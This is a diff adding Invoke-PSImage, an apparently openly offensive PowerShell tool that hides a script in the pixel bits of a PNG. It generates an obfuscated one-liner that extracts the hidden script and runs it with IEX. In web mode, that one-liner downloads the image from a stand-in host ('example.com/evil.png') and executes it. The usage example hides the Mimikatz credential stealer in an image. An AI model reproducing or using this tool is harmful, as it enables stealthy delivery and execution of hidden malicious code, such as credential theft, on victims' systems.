|
| 1 | +function Invoke-PSImage |
| 2 | +{ |
| 3 | +<# |
| 4 | +.SYNOPSIS |
| 5 | +
|
| 6 | +Embeds a PowerShell script in an image and generates a oneliner to execute it. |
| 7 | +Author: Barrett Adams (@peewpw) |
| 8 | +
|
| 9 | +.DESCRIPTION |
| 10 | +
|
| 11 | +Embeds a PowerShell script in an image by editing the least significant 4 bits of |
| 12 | +2 color values (2 of RGB) in each pixel (for as many pixels as are needed for the payload). |
| 13 | +Image quality will suffer as a result, but it still looks decent. The image is saved as a |
| 14 | +PNG, and can be losslessly compressed without affecting the ability to execute the payload |
| 15 | +as the data is stored in the colors themselves. It can accept most image types as input, but |
| 16 | +output will always be a PNG because it needs to be lossless. |
| 17 | +
|
| 18 | +.PARAMETER Script |
| 19 | +
|
| 20 | +The path to the script to embed in the Image. |
| 21 | +
|
| 22 | +.PARAMETER Image |
| 23 | +
|
| 24 | +The image to embed the script in. |
| 25 | +
|
| 26 | +.PARAMETER Out |
| 27 | +
|
| 28 | +The file to save the resulting image to (image will be a PNG) |
| 29 | +
|
| 30 | +.PARAMETER Web |
| 31 | +
|
| 32 | +Output a command for reading the image from the web instead of reading from a file. |
| 33 | +You will need to host the image and insert the URL into the command. |
| 34 | +
|
| 35 | +.EXAMPLE |
| 36 | +
|
| 37 | +PS>Import-Module .\Invoke-PSImage.ps1 |
| 38 | +PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\kiwi.jpg -Out .\evil-kiwi.png |
| 39 | + [Oneliner to execute from a file] |
| 40 | + |
| 41 | +#> |
| 42 | + |
| 43 | + [CmdletBinding()] Param ( |
| 44 | + [Parameter(Position = 0, Mandatory = $True)] |
| 45 | + [String] |
| 46 | + $Script, |
| 47 | + |
| 48 | + [Parameter(Position = 1, Mandatory = $True)] |
| 49 | + [String] |
| 50 | + $Image, |
| 51 | + |
| 52 | + [Parameter(Position = 2, Mandatory = $True)] |
| 53 | + [String] |
| 54 | + $Out, |
| 55 | + |
| 56 | + [switch] $Web |
| 57 | + ) |
| 58 | + # Stop if we hit an error instead of making more errors |
| 59 | + $ErrorActionPreference = "Stop" |
| 60 | + |
| 61 | + # Load some assemblies |
| 62 | + [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing") |
| 63 | + [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web") |
| 64 | + |
| 65 | + # Normalize paths beacuse powershell is sometimes bad with them. |
| 66 | + if (-Not [System.IO.Path]::IsPathRooted($Script)){ |
| 67 | + $Script = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Script)) |
| 68 | + } |
| 69 | + if (-Not [System.IO.Path]::IsPathRooted($Image)){ |
| 70 | + $Image = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Image)) |
| 71 | + } |
| 72 | + if (-Not [System.IO.Path]::IsPathRooted($Out)){ |
| 73 | + $Out = [System.IO.Path]::GetFullPath((Join-Path (pwd) $Out)) |
| 74 | + } |
| 75 | + |
| 76 | + # Read in the script |
| 77 | + $ScriptBlockString = [IO.File]::ReadAllText($Script) |
| 78 | + $input = [ScriptBlock]::Create($ScriptBlockString) |
| 79 | + $payload = [system.Text.Encoding]::ASCII.GetBytes($input) |
| 80 | + |
| 81 | + # Read the image into a bitmap |
| 82 | + $img = New-Object System.Drawing.Bitmap($Image) |
| 83 | + |
| 84 | + $width = $img.Size.Width |
| 85 | + $height = $img.Size.Height |
| 86 | + |
| 87 | + # Lock the bitmap in memory so it can be changed programmatically. |
| 88 | + $rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height); |
| 89 | + $bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat) |
| 90 | + $ptr = $bmpData.Scan0 |
| 91 | + |
| 92 | + # Copy the RGB values to an array for easy modification |
| 93 | + $bytes = [Math]::Abs($bmpData.Stride) * $img.Height |
| 94 | + $rgbValues = New-Object byte[] $bytes; |
| 95 | + [System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes); |
| 96 | + |
| 97 | + # Check that the payload fits in the image |
| 98 | + if($bytes/2 -lt $payload.Length) { |
| 99 | + Write-Error "Image not large enough to contain payload!" |
| 100 | + $img.UnlockBits($bmpData) |
| 101 | + $img.Dispose() |
| 102 | + Break |
| 103 | + } |
| 104 | + |
| 105 | + # Generate a random string to use to fill other pixel info in the picture. |
| 106 | + # (Calling get-random everytime is too slow) |
| 107 | + $randstr = [System.Web.Security.Membership]::GeneratePassword(128,0) |
| 108 | + $randb = [system.Text.Encoding]::ASCII.GetBytes($randstr) |
| 109 | + |
| 110 | + # loop through the RGB array and copy the payload into it |
| 111 | + for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) { |
| 112 | + if ($counter -lt $payload.Length){ |
| 113 | + $paybyte1 = [math]::Floor($payload[$counter]/16) |
| 114 | + $paybyte2 = ($payload[$counter] -band 0x0f) |
| 115 | + $paybyte3 = ($randb[($counter+2)%109] -band 0x0f) |
| 116 | + } else { |
| 117 | + $paybyte1 = ($randb[$counter%113] -band 0x0f) |
| 118 | + $paybyte2 = ($randb[($counter+1)%67] -band 0x0f) |
| 119 | + $paybyte3 = ($randb[($counter+2)%109] -band 0x0f) |
| 120 | + } |
| 121 | + $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1 |
| 122 | + $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2 |
| 123 | + $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3 |
| 124 | + } |
| 125 | + |
| 126 | + # Copy the array of RGB values back to the bitmap |
| 127 | + [System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes) |
| 128 | + $img.UnlockBits($bmpData) |
| 129 | + |
| 130 | + # Write the image to a file |
| 131 | + $img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png) |
| 132 | + $img.Dispose() |
| 133 | + |
| 134 | + # Get a bunch of numbers we need to use in the oneliner |
| 135 | + $rows = [math]::Ceiling($payload.Length/$width) |
| 136 | + $array = ($rows*$width) |
| 137 | + $lrows = ($rows-1) |
| 138 | + $lwidth = ($width-1) |
| 139 | + $lpayload = ($payload.Length-2) |
| 140 | + |
| 141 | + if($web) { |
| 142 | + $pscmd = "sal a New-Object;Add-Type -AssemblyName `"System.Drawing`";`$g= a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"http://example.com/evil.png`"));`$o= a Byte[] $array;(0..$lrows)|% {foreach(`$x in (0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B -band 15)*16) -bor (`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" |
| 143 | + } |
| 144 | + else { |
| 145 | + $pscmd = "sal a New-Object;Add-Type -AssemblyName `"System.Drawing`";`$g= a System.Drawing.Bitmap(`"$Out`");`$o= a Byte[] $array;(0..$lrows)|% {foreach(`$x in (0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B -band 15)*16) -bor (`$p.G -band 15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))" |
| 146 | + } |
| 147 | + |
| 148 | + return $pscmd |
| 149 | +} |
0 commit comments